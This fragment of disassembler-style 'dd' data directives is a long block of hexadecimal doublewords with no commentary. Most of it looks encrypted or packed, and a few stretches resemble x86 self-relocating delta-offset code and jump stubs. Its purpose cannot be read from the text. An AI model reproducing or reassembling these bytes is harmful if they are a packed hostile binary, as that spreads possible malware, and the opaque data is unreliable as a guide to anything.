		dd 9891CF7Ch, 0D8A7F415h, 0CA2A356Bh, 8BB4C419h, 0BFD81B5Ah
		dd 3CC70AEDh, 4FA8034Fh, 0E40F3C42h, 0E7AD3BBh,	8004F235h
		dd 0DDEF96FDh, 0DE7DCCh, 4890000h, 9CEFD03Bh, 345B44AFh
		dd 0C6B3FC17h, 612D127Dh, 0BDBF8BE2h, 0D23D0A74h, 47AE9DEDh
		dd 0FA152E5Ah, 157CC7B5h, 0CB1F8DEAh, 2E41123Fh, 525FB868h
		dd 59613B26h, 0BC473A3Bh, 4E6DBEF1h, 17D609B5h,	81DFD9F3h
		dd 58271678h, 9CC1BAEBh, 70A69A76h, 0E5024584h,	0A5BE4A8h
		dd 79AA99E5h, 0BAA5FB3Ah, 0D53C0775h, 3A057779h, 8FB8C4E9h
		dd 105F1464h, 93192F7h,	0F28E0F9Dh, 1C41FE8Ch, 0B8429ED1h
		dd 491B8DDCh, 0AB94E4C1h, 86F63B68h, 1F6D52BDh,	9C25F724h
		dd 0C6EA9E09h, 327FCD2Bh, 80ADFE4Dh, 0D00C4FF8h, 3158E3A9h
		dd 92C37C00h, 6C1D2C5Dh, 0C94390D3h, 3844E018h,	1785EA0Fh
		dd 27967EC3h, 4FFE8736h, 2432DF39h, 31528Eh, 8F92C37Ch
		dd 8, 0C1CECB77h, 805C80BBh, 0E83D0677h, 5D8EB9C3h, 8EDF6810h
		dd 0F92A1961h, 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h
		dd 6FBC8BF0h, 0E2895269h, 4C281h, 0EA830000h, 74FF5204h
		dd 8F5A0424h, 685C2404h, 46ABh,	57242C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 3C895C24h, 39BE5624h, 0F7166607h
		dd 0C1DEF7D6h, 0DEF703E6h, 8101EE83h, 0E83D7DF6h, 5EF5894Ah
		dd 35D068h, 24248900h, 4240481h, 5F000000h, 53E88950h
		dd 8BBh, 89FB0100h, 8B585B03h, 8956243Ch, 4C681E6h, 83000000h
		dd 348704C6h, 34FF5C24h, 0C4815D24h, 4,	0FA7C52E9h, 219484FFh
		dd 1B8233Ah, 3062806h, 3AE0FFC5h, 963F2C75h, 2A5EC531h
		dd 0E82B6211h, 4718A39Fh, 0E1776FB6h, 9E3BA74Fh, 647510A2h
		dd 0F63B2F37h, 87017B13h, 0F478F1DCh, 0E14E239Ah, 0CD5DB374h
		dd 0A87108F1h, 2801B028h, 0AB6D7319h, 0C0021D1Ah, 0F13AA39Ah
		dd 0FF76EB88h, 0CB5C3593h, 35320A1Dh, 0EB04FF8Fh, 24h
		dd 8 dup(0)
		dd 0BDE900h, 0B5890000h, 62806F5h, 0F5858Bh, 858B0622h
		dd 6222C55h, 73FB58Dh, 858D0628h, 6255745h, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 6280745h, 0F5BD83h, 0F010622h, 2C85h
		dd 0F5B5FF00h, 8B062806h, 222C5585h, 27363506h,	0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 2806F9B5h, 0B5FF5606h, 62806F5h, 2C55858Bh, 36350622h
		dd 0FF348127h, 0CC483D0h, 6F9B58Dh, 468B0628h, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 0F5BD8300h, 1062200h
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	28071E85h, 0B5858906h
		dd 8D06220Fh, 2808878Dh, 0F18D8906h, 0E9062233h, 0Ah, 0EB58CD91h
		dd 1E36B3F9h, 85C79C9Dh, 6222D31h, 6394h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0A1C35141h, 6A5E748Fh
		dd 0B369C1C7h, 0DB501BCh, 0C706221Ch, 2230E585h, 6, 0FF5A5300h
		dd 221281B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 84D0225Dh, 0A9BD8B47h, 0FF062207h
		dd 22206595h, 5860F06h,	66000000h, 4A4AE281h, 95FF006Ah
		dd 6223075h, 2FEBC08Bh,	992A816Eh, 8544C777h, 53F76E41h
		dd 864DB613h, 5F7C001h,	9B973921h, 0ED9B5DBFh, 6AC49C56h
		dd 2A1F24A5h, 0F7279297h, 4DFC68E2h, 0E8BB9F64h, 0Ch, 0C5C541CAh
		dd 0A63C8501h, 10C13CEEh, 7E9B58Bh, 815A0622h, 5E3EC2h
		dd 71BD8B00h, 6806222Ch, 176Bh,	31852950h, 5E062219h, 0DABF0F58h
		dd 0B70F0A8Bh, 0BBC181FEh, 8B73296Eh, 222A399Dh, 76E98106h
		dd 664864FCh, 0E981DA8Bh, 7D3DC51Eh, 6800Fh, 85890000h
		dd 6221B71h, 0E9BD8B51h, 8F062201h, 62BF6602h, 4EA832Ch
		dd 13E9h, 91666E00h, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch
		dd 0FD5BD465h, 1E881h, 850F0000h, 0FFFFFFA0h, 21099589h
		dd 9E80622h, 85000000h,	68FF5871h, 6030ECF3h, 32518589h
		dd 895F0622h, 220A7995h, 45C78106h, 0B000063h, 222581B5h
		dd 18A46806h, 870F0000h, 6, 3401B58Bh, 0FC580622h, 665B37FFh
		dd 8144B3B9h, 1CB091EBh, 0A98D012Ch, 81062208h,	0AA6EAEBh
		dd 68B0F2Eh, 81000000h,	10F354EAh, 0BFF38151h, 660FF608h
		dd 0D807E981h, 13E81F89h, 21000000h, 0D7A1999Ch, 0CEC20178h
		dd 4436A995h, 864683Ah,	840FB81Bh, 6, 2A05958Bh, 835E0622h
		dd 0B58901EFh, 6222C05h, 0F4F4F4Fh, 1281h, 0DE900h, 0A40F0000h
		dd 0C86599A8h, 8EFE27Ch, 48D18ABCh, 0FF7E850Fh,	0CB8BFFFFh
		dd 21E9h, 0C7AFC400h, 3D00005Bh, 2, 5 dup(0)
		dd 0CFE90000h, 6800000Ch, 6280C52h, 0FB4438E9h,	0D7568FFh
		dd 2EE90628h, 68FFFB44h, 6280EE9h, 0FB4424E9h, 0FCE68FFh
		dd 1AE90628h, 68FFFB44h, 6281094h, 0FB4410E9h, 127268FFh
		dd 6E90628h, 68FFFB44h,	62812F8h, 0FB43FCE9h, 147D68FFh
		dd 0F2E90628h, 68FFFB43h, 6281588h, 0FB43E8E9h,	0E8F13EFFh
		dd 3CC1CF52h, 4491936Eh, 8F5A5BA6h, 0DD1C62FFh,	9C834C09h
		dd 0AEB34B92h, 74C99D64h, 3904A62Fh, 8D51F5F8h,	0BE01D4BDh
		dd 2901CD62h, 0CCD7AA5Ch, 8DA82105h, 8DD38AC8h,	0D0D18C96h
		dd 0B2FC3F4Fh, 8B26FD2Bh, 3DEB869Dh, 1CCD4A9h, 0BC41401Dh
		dd 0C78E1EEEh, 0D38AC7F4h, 1210E934h, 54FE55C3h, 121352CFh
		dd 27F249C7h, 0A9EA77C7h, 0A193FA58h, 61D9ACD0h, 30078EBAh
		dd 83D9ACD1h, 7B21C64Ch, 0BA0ED10Eh, 73h, 0DD4DFA2h, 271A3817h
		dd 3ACBD7AAh, 9D8E3318h, 0E6EF3489h, 51311D2Ah,	0ACD23A38h
		dd 0F523FED9h, 0B4DC7D11h, 6B69FE34h, 6EF3C2ABh, 10DD9ADh
		dd 6FB54CF8h, 0AEFDAE9Ah, 0BB4A4824h, 8EC25AECh, 5BDF66FBh
		dd 3848E25h, 0D55C3079h, 0AE7775FBh, 2C91A42Dh,	8A91D9ADh
		dd 4B7157FFh, 0E40ED0B7h, 113CF9E8h, 1DEA2B47h,	0F857CD18h
		dd 104E45Ah, 0A76D0000h, 0C099975Ah, 522F3FBEh,	0F696824Fh
		dd 8AC7BC9Fh, 0AA17CD3h, 969B7608h, 3EAC8CF8h, 8A2C8457h
		dd 719984D3h, 4B02945Ah, 0D38AC670h, 0B0DE75B0h, 9F804FCEh
		dd 917500D8h, 5AEEFEFDh, 0B89AD571h, 0DB266B06h, 89B8CA03h
		dd 3F42D38Ah, 0C15E8B2h, 57C84BC1h, 8A694C05h, 72A9D38Ah
		dd 600E47A7h, 97D9ACA5h, 0A56B4E07h, 8E95D9ACh,	731AD047h
		dd 0D9ACA568h, 7CA67DA8h, 6F4A03DBh, 84D9ACA5h,	0ACA4EACDh
		dd 5CF32ED9h, 0FB902AC1h, 88C12546h, 0DFD16472h, 0E936BB6h
		dd 9D6DF900h, 96FFFE00h, 0DFD163C3h, 4E9B9A47h,	0AEB393B3h
		dd 0D0979960h, 3CBA103Eh, 0A1D9006h, 0AAF50000h, 7A869B23h
		dd 4A4AD777h, 1312EFBFh, 0D5D924C6h, 4A937614h,	0FA804955h
		dd 30CA1B67h, 4F1FE62Dh, 9822AFF2h, 4A6D64C4h, 0CECD62BCh
		dd 57A79560h, 0A06CFD4h, 79C4663Dh, 111B538h, 0EA2A75BCh
		dd 7F0A211Fh, 70D15AD7h, 0F4E2EB73h, 3D9ACD1h, 0D1FFDAB3h
		dd 0FA39D9ACh, 33E63DEBh, 92892EF4h, 0D2183FA6h, 0E022D9ACh
		dd 0F7824B53h, 9362A039h, 45CF1AA5h, 0BA40972Bh, 0D2276EF3h
		dd 0D2360148h, 2FFAD9ACh, 11FBA1E7h, 0D83A0ED1h, 4F000000h
		dd 0B1D85AA7h, 0D38AC7A6h, 1AE0BF6Ah, 0BA767787h, 7F0FA16Dh
		dd 0C20F12EFh, 8AC7B681h, 31044DD3h, 0F1D38AC8h, 1A38E72Ah
		dd 7AB63747h, 8ACD091Bh, 0E3EE33D3h, 6CB9771Bh,	0F4B9EE6h
		dd 26EC8981h, 0CB161BE6h, 5C4DF25Dh, 44177ECEh,	0C4D38B51h
		dd 7C15F559h, 0D9AD6C8Eh, 1CF79792h, 2DA486A3h,	0DFD228BEh
		dd 149BE542h, 9934C30Ah, 81543D8Dh, 81DFD229h, 5828B89Ah
		dd 0FA36BBC5h, 226CE12Dh, 0F03E03DBh, 0C57A07E9h, 9896BA11h
		dd 8FA3Ah, 0CCDD200h, 509DE37Eh, 986DB78Ah, 0A3367FC2h
		dd 0F1F8061Bh, 0B0AFB055h, 42DF6F6Eh, 815B140h,	0DD20FA0Bh
		dd 0A17D09D4h, 0BB253059h, 0DE5CD62h, 9657A7B0h, 0A52869F4h
		dd 2FB6FC41h, 0C7A3B6DFh, 0B867D38Ah, 0AAD78A9Ah, 0E3ACBD7h
		dd 6AA62F73h, 0EC2906DDh, 0E142319h, 0BB834E53h, 0B0A2D826h
		dd 0F0F95659h, 0BA918F5Ah, 60BE698h, 0F7A823FBh, 637910EAh
		dd 0A7D9ABEAh, 3EEAF73Ah, 3DE4AE1h, 0D62BF3FEh,	5524B5CBh
		dd 0A4507B3Ch, 0C4B21309h, 4560F22Ch, 0C1C0AC56h, 14A3367Eh
		dd 5BA6EB76h, 2CD2E0EDh, 774260F2h, 1FA0E1CDh, 7E878C0Fh
		dd 41DE75C2h, 0AE85B342h, 0ABF64B13h, 0C9EBEA26h, 0A560F22Ch
		dd 9DB8D1A1h, 9D60F22Dh, 810B9C86h, 45E1EC35h, 2876B9F8h
		dd 4EDC6BA1h, 0F22D3407h, 9229F460h, 67543888h,	6EB02331h
		dd 69DFFA1Bh, 1B1960F2h, 76DC4BCEh, 0F9EA57B8h,	4194906Dh
		dd 1E440DDDh, 0E2671491h, 0FB976707h, 1A797EDFh, 0FA41CDD2h
		dd 76C62445h, 0E25EA7EBh, 0C6E0C955h, 4A6D3688h, 388561DFh
		dd 0A039F7F6h, 5CC69D60h, 36895F75h, 0F59FD06Dh, 47564C72h
		dd 472957Bh, 531C0000h,	0D38AC888h, 8AD86F46h, 0DC3E7DD3h
		dd 250CD38Ah, 0A9D38ADCh, 8313EBF8h, 36E2F73Eh,	72AC3519h
		dd 0B6D9ACFDh, 91CE896Bh, 2CE2B074h, 786AEh, 0B8414E00h
		dd 0CC111FE2h, 14E1233Eh, 5FAAEB76h, 6D6CB28Fh,	2C333CD9h
		dd 0FE431BE2h, 84992DB4h, 49D4767Fh, 5DE18548h,	0B9B184CDh
		dd 9971CD62h, 0B3DAAA2Ch, 0D38AC7A8h, 2EA4EA3h,	70A9DA1h
		dd 5AA73A18h, 0E9B9F924h, 0F5800DDDh, 5623AF3Fh, 0ACFF0A40h
		dd 279461DBh, 0CD986A2Dh, 2445FA41h, 0F7C58FC6h, 0DE45D9B1h
		dd 6BF10E0Ch, 3851B5B6h, 0DFD42B22h, 69623BE6h,	8F35678Dh
		dd 0FB4360C1h, 7AD71A66h, 0A77CA839h, 821FEF7Fh, 23BB7180h
		dd 35678FAAh, 0F994938Fh, 677A4C55h, 2CBE9557h,	576792A5h
		dd 0FC915D95h, 0E1B5760Fh, 0C258F732h, 66AC317Fh, 0C9DA47C8h
		dd 0D1E4ED7Dh, 51955724h, 0F19848CAh, 9B795FD3h, 0EF72C857h
		dd 0B28F5FA2h, 91A42D6Fh, 919B7960h, 5075FF8Ah,	7871B832h
		dd 6A1D4BAh, 26690000h,	0F63A07A7h, 0C6CE53EBh,	8F966B33h
		dd 515DA07Ah, 0D617F288h, 6604C5C9h, 0BC4E979Bh, 0CB9362A1h
		dd 4A62B76h, 0CEE9E078h, 52CD62B8h, 70D109E4h, 0D4E7EB73h
		dd 6EFB34DDh, 0A72EBE64h, 0D9AC6A99h, 4D1D3AEh,	0E1ED791Eh
		dd 0D4F5A093h, 8356BF73h, 87D9ABE7h, 0BA57CD98h, 23BE6A77h
		dd 4D2410DDh, 0DB8CB841h, 0E42846CCh, 6AD70DB7h, 0D6E4ED79h
		dd 6DDFCDE6h, 2433E461h, 90B2E151h, 4B8258C7h, 0DFCDF76Ch
		dd 0CDF75762h, 392A97DFh, 1AAA42Dh, 0B36EE5F6h,	6A3F27ABh
		dd 0B57882D1h, 0EECED769h, 0FCE5F65Fh, 0E5F65FD4h, 1939E63h
		dd 0F6606D48h, 0DB76ADE5h, 569BE67Bh, 3D32A1EEh, 7765DBA4h
		dd 5DBh, 59EDEC33h, 9531BCC4h, 0AD798C88h, 0FA805550h
		dd 34D61767h, 87978851h, 5959A446h, 246FF288h, 0ED3409DDh
		dd 0A6865AE0h, 62B80C2Fh, 57220CCDh, 3BCED7AAh,	221EE32Eh
		dd 7D220915h, 0FDF79E6Ch, 0AD9B2D1h, 0AE9A6BB7h, 3FEA8D91h
		dd 0A4296801h, 0CBD84D06h, 0F134895Dh, 5EA33EE4h, 2B76CB93h
		dd 929F6AA6h, 0D26E4900h, 77B2D9B2h, 0ECBB6CD8h, 0B8070A66h
		dd 66BD6B7Ah, 2D6EB578h, 0A37E5813h, 0B782CB5Bh, 7BD9B300h
		dd 90A666ACh, 0ECAE22Ah, 795C3585h, 0B9D9B2FDh,	8F4EA062h
		dd 0D3000001h, 0EB7370D1h, 0ACEE84E2h, 0BFD684D9h, 0D9ACEE9Ch
		dd 81945DA6h, 137FCF9Ah, 0C58DE993h, 0DA2730F7h, 21917h
		dd 0E152676Eh, 0F7C2D9ACh, 0D1606C4Dh, 0F45909B3h, 44FD46CCh
		dd 588EC727h, 0D8DFCF8Ch, 5695F94Dh, 26D1B2EDh,	3508183Ah
		dd 0B805E1ECh, 14AA687Dh, 5EA3ED70h, 0B2FC55E2h, 2B76EB2Bh
		dd 583404A6h, 1AD18479h, 7AC14DCFh, 0D7E2EBC5h,	61DFCF8Bh
		dd 0A279DC1Dh, 545E3717h, 0D4E5F195h, 0E3F2D349h, 54E5F194h
		dd 0C8F67903h, 9028C4Ah, 29h, 7370D190h, 0D1F4E2EBh, 0E934D9ACh
		dd 0D2835233h, 64F4D9ACh, 23F0EF68h, 57FF7094h,	7725CA70h
		dd 0BE0ED07Bh, 0C9h, 245AA7C3h,	8DE845EEh, 0A02D7439h
		dd 7500DF74h, 365F2FBFh, 0D38A1F23h, 471A38E7h,	0EF7AB637h
		dd 8E15FA2h, 2F26C409h,	0D38A23D5h, 4FDF226Fh, 0E323AEF2h
		dd 0EAF7A823h, 3B848D10h, 0DB51ECF9h, 0B606C64Ch, 248CAF26h
		dd 918CD38Ah, 0E143248Dh, 6DF0D9AEh, 0A374DE23h, 8B16E644h
		dd 0C5CD7B86h, 0AB01E187h, 83835EBAh, 6D39C0CEh, 0FC01009Dh
		dd 0B62BEB40h, 0DA9F6168h, 0F6B07270h, 3FD5A38h, 0CAD50000h
		dd 9AE67B03h, 6AAAB757h, 3372CF9Fh, 0F53904A6h,	0AAB356F4h
		dd 0DA6069B5h, 10AA3B47h, 2FFF060Dh, 7802CFD2h,	2A0D44A4h
		dd 0EECD62B6h, 57A7B500h, 6864F496h, 7C480E16h,	20BD6114h
		dd 8C555EE1h, 5EECBB90h, 975AA7A3h, 3CC1C099h, 26AAF36Eh
		dd 858992D9h, 432AE8A9h, 0D38AB174h, 8AB15B7Ah,	3D2E93D3h
		dd 0BBAEA029h, 0B772D9B2h, 38299679h, 0DAEDAB22h, 0F62DDFD4h
		dd 1CB7BD0Eh, 0C3D14FBAh, 377h,	0FD89505Fh, 9DD2060h, 41E5F034h
		dd 9E2CB9FCh, 0A8727B83h, 0EB332C2Dh, 0BDC558E2h, 888B9634h
		dd 5150AD79h, 0DA22FE8Ch, 62B5A8B3h, 338E68CDh,	0A8B3DAAAh
		dd 68D38AC7h, 0C8EFD60Eh, 0F89760A2h, 0C47A875Ah, 1EC11F51h
		dd 34074E95h, 0F4D38AC4h, 0C1889229h, 0D38AC3F6h, 0E450EF3Ah
		dd 2DF9040Dh, 12E8F9A6h, 0EDF43F82h, 50DF38E5h,	0FC265DFDh
		dd 0AC059B95h, 94809FD9h, 0AC052A09h, 3CAD4D9h,	0E0367C15h
		dd 0AC04CEE9h, 38D752D9h, 60EA3D0Ch, 0D70BB9E5h, 5EF5DDCAh
		dd 2ACD7788h, 0ED16374h, 0FC464ED3h, 0AC83C295h, 0CDB46D9h
		dd 402806h, 0D1B10000h,	16EB7370h, 0F348C40Dh, 1CDAB353h
		dd 1CD9ACD2h, 3C552501h, 0D9ACD219h, 0EE350219h, 0E5813FE7h
		dd 645524E9h, 6CA81809h, 7940C299h, 0D9AD425Ah,	4FF09AADh
		dd 0ED0A151h, 0D490h, 0D7AA1900h, 45183ACBh, 0E37BB13Ch
		dd 45C9101Eh, 0F9058688h, 50EF44F0h, 0F9040DE4h, 666BB643h
		dd 0CC738DC4h, 848DD38Ah, 801DED79h, 68C77D80h,	8ACC506Bh
		dd 58A9EAD3h, 6AC057ECh, 8ACC5863h, 0B64DD8D3h,	0D1ACBC6Ch
		dd 4D0002CFh, 0DDADB944h, 8ACCA1B4h, 98BA61D3h,	0E5C47DE6h
		dd 40DF55A0h, 723851B5h, 0B6D9ACDBh, 12FF936Bh,	6E6FBF84h
		dd 44CF9360h, 1C854EDEh, 0AF563F0Fh, 73DFD249h,	0C3CB56B4h
		dd 919D603Ah, 245DE848h, 7DB3BA11h, 1F21Fh, 14D5DA00h
		dd 58A5EB76h, 6075BF82h, 0AB3E47DAh, 0F9000E13h, 0B8A7A82Dh
		dd 4AD77776h, 10EDB948h, 2538C213h, 0A97511DCh,	0B41D3851h
		dd 351DCD62h, 9657A7B8h, 162869F4h, 0B60AF20Ch,	0F6942395h
		dd 7370D10Bh, 0D1F4E2EBh, 0E934D9ACh, 0D2835233h, 0A3F4D9ACh
		dd 11289619h, 3A870ED1h, 996CA8F7h, 55F956C2h, 0DCDBh
		dd 5AA76E00h, 81CD9997h, 1145334h, 0ED60A2D9h, 0E1EC58A1h
		dd 0D38A039Fh, 0AA8DC454h, 6ED38A03h, 912CADF1h, 0BFD1D08Dh
		dd 0F9D42834h, 0FF8F5A16h, 48D21F62h, 43C691F8h, 0DF4AD38Ah
		dd 0E956B977h, 0A56B62F8h, 52D9AC52h, 13FC2CFh,	0D04FE82Ah
		dd 70E0410Ah, 0DC5C7EFAh, 0F230096Ah, 431E35E3h, 88966BFBh
		dd 0EE74470Eh, 69B4D9ABh, 45C966D2h, 0D0AB267Ch, 2F3FEADFh
		dd 0A9ECAFA3h, 0DCB385DDh, 4F9DF4C5h, 0B353F38Eh, 9D21AF23h
		dd 50C865FFh, 0CE0F1FF2h, 1CDD213Ch, 13E28714h,	0C5CB49BAh
		dd 0E7h, 4D19E02Fh, 992DB0F0h, 0D1758084h, 0EEBC494Ch
		dd 38C20B13h, 7B839C5Dh, 4D55A872h, 181BE684h, 0E1203DC9h
		dd 0AAB24E1Ch, 62B31823h, 433E18CDh, 0F49657A7h, 1A52869h
		dd 975AA75Ch, 3CC1C099h, 804D532Eh, 0DEB28282h,	0A08D4F0Dh
		dd 200B0B7Eh, 0F198627Fh, 0D9B263FBh, 6570B508h, 15031EB9h
		dd 12A8357Ch, 41FF020Fh, 0A21D045Ch, 0EC960537h, 0EE7C8180h
		dd 55730D13h, 82658BB5h, 31113DC8h, 0CC575C21h,	370C38C5h
		dd 0DA27BA98h, 45401917h, 7692B0F2h, 0EEA090E2h, 0B582BE55h
		dd 0E423221Eh, 7731F5Eh, 0BD644136h, 0F12CF57h,	563F8580h
		dd 37A21B83h, 57CD9887h, 84992DF8h, 36E5C37Dh, 0FA46D57Bh
		dd 0C19C2BB6h, 19454Bh,	0AAFC0000h, 0C7A8B3DAh,	85A3D38Ah
		dd 4F231B7Dh, 929E4BCEh, 0AF7AD14Fh, 0A734AD67h, 0CE9B9158h
		dd 77023EC3h, 926FA52Ch, 3ECB4190h, 0A633E9F0h,	0CE9B9158h
		dd 6B0632C7h, 8960DC29h, 58CE7A87h, 5585450h, 4, 8704E883h
		dd 685C2404h, 63AEh, 68243C89h,	5614h, 83240C89h, 2C8904ECh
		dd 0A99BD24h, 0EF890628h, 4EC815Dh, 89000000h, 4832424h
		dd 83590424h, 3C8904ECh, 242C8124h, 48796525h, 8108418Fh
		dd 65250841h, 34FF4879h, 0C4815924h, 4,	5F2434FFh, 4C481h
		dd 82E90000h, 9FFFFB37h, 3D48550Fh, 20241831h, 75AEB672h
		dd 94B8C95Dh, 3062816h,	0EEE0FFC5h, 67B3487h, 3E36CF45h
		dd 1841D3B5h, 0AB620C2Bh, 900C662Ah, 8C57C4CAh,	40223265h
		dd 62AB61Dh, 2860D6FFh,	0C9397CA3h, 0D70DD978h,	0D0125D23h
		dd 8D4A3A8Eh, 2817C78Dh, 0F18D8906h, 52062233h,	68D0Fh
		dd 95290000h, 62206E9h,	3185C75Eh, 6222Dh, 6A00006Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0C733C357h, 2230E585h, 6, 1D8D0900h,	0FF062211h, 220A85B5h
		dd 78F0F06h, 0F000000h,	187h, 958BFC00h, 6220A09h, 206595FFh
		dd 0B58B0622h, 622198Dh, 95FF006Ah, 6223075h, 1EEBC08Bh
		dd 0E540C18Ch, 11A14BEAh, 0C0430047h, 0D4141319h, 247B41E8h
		dd 0F09E9565h, 5E7218BFh, 0C0E9CB18h, 0CE000000h, 0D72CA4D8h
		dd 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh, 0F44592B3h, 0B395A1h
		dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh
		dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h,	0A59CB2E9h
		dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h,	0F07B6B5Ch
		dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h
		dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h
		dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h
		dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h
		dd 0A8CD43F1h, 0F0h, 74470000h,	0E0E3129Dh, 5E99h, 0
		dd 0E9000000h, 1551h, 281A8B68h, 6A25E906h, 9668FFFAh
		dd 0E906281Bh, 0FFFA6A1Bh, 281C5B68h, 6A11E906h, 9468FFFAh
		dd 0E906281Dh, 0FFFA6A07h, 281E0468h, 69FDE906h, 0D568FFFAh
		dd 0E906281Eh, 0FFFA69F3h, 281F6B68h, 69E9E906h, 2068FFFAh
		dd 0E9062820h, 0FFFA69DFh, 2820D368h, 69D5E906h, 1668FFFAh
		dd 0E9062822h, 0FFFA69CBh, 28230468h, 69C1E906h, 5968FFFAh
		dd 0E9062824h, 0FFFA69B7h, 28259668h, 69ADE906h, 2868FFFAh
		dd 0E9062827h, 0FFFA69A3h, 28286868h, 6999E906h, 4A68FFFAh
		dd 0E906282Ah, 0FFFA698Fh, 282B6468h, 6985E906h, 6429FFFAh
		dd 0FC8FB0DBh, 94FB244Fh, 26535CB7h, 0C1CDF21Dh, 5D1F6B82h
		dd 0B2DD6A14h, 274EFD8Dh, 5AB58EFAh, 0F51C2755h, 6BBF6D0Ah
		dd 8E411222h, 57758C8h,	0B8C4E93Ah, 5F14648Fh, 0CE25F710h
		dd 0DF491843h, 4D4A8FDCh, 0C07B0D3Ch, 0D0115C81h, 234293ACh
		dd 321B2BFDh, 7CE54118h, 7C0310FCh, 4EFD82CFh, 8A82DE1Dh
		dd 4BD1CED7h, 29E2h, 0AB582800h, 65DE0364h, 0B214EA66h
		dd 0BE48942Ah, 4918734Dh, 0ADA0BA2h, 411807FAh,	0F41B5D04h
		dd 4BD19F79h, 0F25Ch, 577CA00h,	0ACD0DD3Ah, 0DB384D93h
		dd 529FACDEh, 0B8C11F2Ch, 0F72469D6h, 4469BA85h, 93E40F38h
		dd 194AF986h, 0DBEFBDDAh, 3E473A3Bh, 9987217Fh,	70473A37h
		dd 0D7D8330Ch, 107FBCA5h, 3E596133h, 0F1BC473Ah, 2F5C59BEh
		dd 7CA0C310h, 7B5B2C29h, 747465A2h, 5EF05C0Ah, 7C14B8A5h
		dd 0F63D3620h, 0CFF01B91h, 0A0854918h, 1881BCCCh, 65A5141h
		dd 7749A00Bh, 5AD2377Ch, 4F3C16C1h, 0ADEA0FAEh,	0D93864DFh
		dd 7A95B2DCh, 0CFA4935h, 0EF93079Ch, 0B8011829h, 0FC000012h
		dd 525FB691h, 0CEF31A29h, 266B82C1h, 9081E853h,	303651EEh
		dd 0A897E730h, 1D2A5041h, 80BBCDF2h, 0EB543869h, 6C005980h
		dd 4112215Ch, 77051DB1h, 0FADF3807h, 3A3B1622h,	7FB0FB47h
		dd 0C3E23310h, 2865729Dh, 0EA82E760h, 473A3BDEh, 1D247833h
		dd 66B3D46Fh, 0BBFA2B18h, 5FA07A65h, 0C91A2952h, 6F6476AAh
		dd 2255C720h, 0B491841h, 9DA173A0h, 63411831h, 124F82E6h
		dd 6B4BD1D2h, 29C35E2Eh, 41183D01h, 5586B9F4h, 0EF3BF116h
		dd 241183Dh, 0B6A875ABh, 76000000h, 0E93A0577h,	6C8DBAC4h
		dd 9CEC5D2Fh, 0F03360A3h, 55CB99ACh, 0E4473A37h, 3459E297h
		dd 711D0CE9h, 4D88A1B1h, 99A2EA17h, 5E2C694Eh, 280555C7h
		dd 0C5E8473Ah, 69135E82h, 944F8DDEh, 19722A4Fh,	6491843h
		dd 167B5CB7h, 18157286h, 0C814A741h, 698ED58Eh,	3C81DBB3h
		dd 1277464Fh, 0B8C47905h, 0FC254C8Fh, 49C5B592h, 0EAEF9397h
		dd 11AD46D9h, 9CE10000h, 344748A3h, 0CCB3FC17h,	5E2B147Fh
		dd 0F9858AE5h, 25C7234Ah, 4AA5A2ECh, 0FF163545h, 127DC6B2h
		dd 8DE45F2Dh, 53673542h, 0C6411220h, 7771010h, 0BA87FA82h
		dd 92D52237h, 0F346367Bh, 147FBE89h, 3A0577BEh,	0DBAFECE9h
		dd 0ED2C1762h, 39028AB7h, 0A19EE12Eh, 0F24D3F7Ch, 49F69895h
		dd 58BBD904h, 0FD46327Fh, 6ED037A8h, 0F91383CAh, 2DFB9AC6h
		dd 0BADF24DFh, 0E3310E7Dh, 0B4E53EEEh, 0A30A4918h, 0E50E51C3h
		dd 43309FE2h, 0FA019BFCh, 1BB4B54Eh, 52014390h,	8FCE7903h
		dd 8008056Ah, 43008AC7h, 0F3894B1Dh, 25884AD3h,	7AC5B7C4h
		dd 5F5E2E13h, 2279486Fh, 0FFB3A4Dh, 0F1E5AB09h,	0E8FA4556h
		dd 2C000010h, 828FE661h, 0FE234AF9h, 565BB291h,	0C0F11823h
		dd 6681BEh, 0D8671760h,	4DFA80B1h, 0B08BFD22h, 1B246859h
		dd 0BC7009F0h, 4112276Ch, 7755CD81h, 0EBE93A05h, 694EABF8h
		dd 0BA2DF98h, 0CC10CB18h, 18698D3Ah, 204B6249h,	0BBDC23D0h
		dd 3A6F36E1h, 4794274Fh, 7E6E61B5h, 96D29F4Bh, 0AF86FE73h
		dd 45DB45h, 0B1FE0000h,	0D287DCAh, 0AB583FD7h, 0C623206Ah
		dd 3A3B0256h, 85C4F747h, 0BD78864h, 93E04918h, 0EB0A5BE8h
		dd 0D8317CB5h, 7B92ADDBh, 186B83A9h, 4DF68641h,	0BE8BFD22h
		dd 3E0D7DD0h, 4C8FCEEDh, 103D001Fh, 58F20000h, 690364ABh
		dd 492253D7h, 906634Ah,	0E008E481h, 15411223h, 0D83967A6h
		dd 7F96B1DBh, 97F8351Ah, 23D0F8A8h, 0EA014112h,	813F4841h
		dd 0CC2D80B1h, 12B00850h, 92CEED41h, 0FF3C2557h, 0DBEFB18Ah
		dd 3E4112B0h, 0EAEF3C7Fh, 3864DFADh, 0B9DE25DEh, 0ACF22E3h
		dd 67802B4Fh, 8ED9622Ah, 0B666FB81h, 4B6A9862h,	0B0E52497h
		dd 37509F54h, 60B58EFAh, 22FA1F45h, 4548E625h, 4B028D2Ah
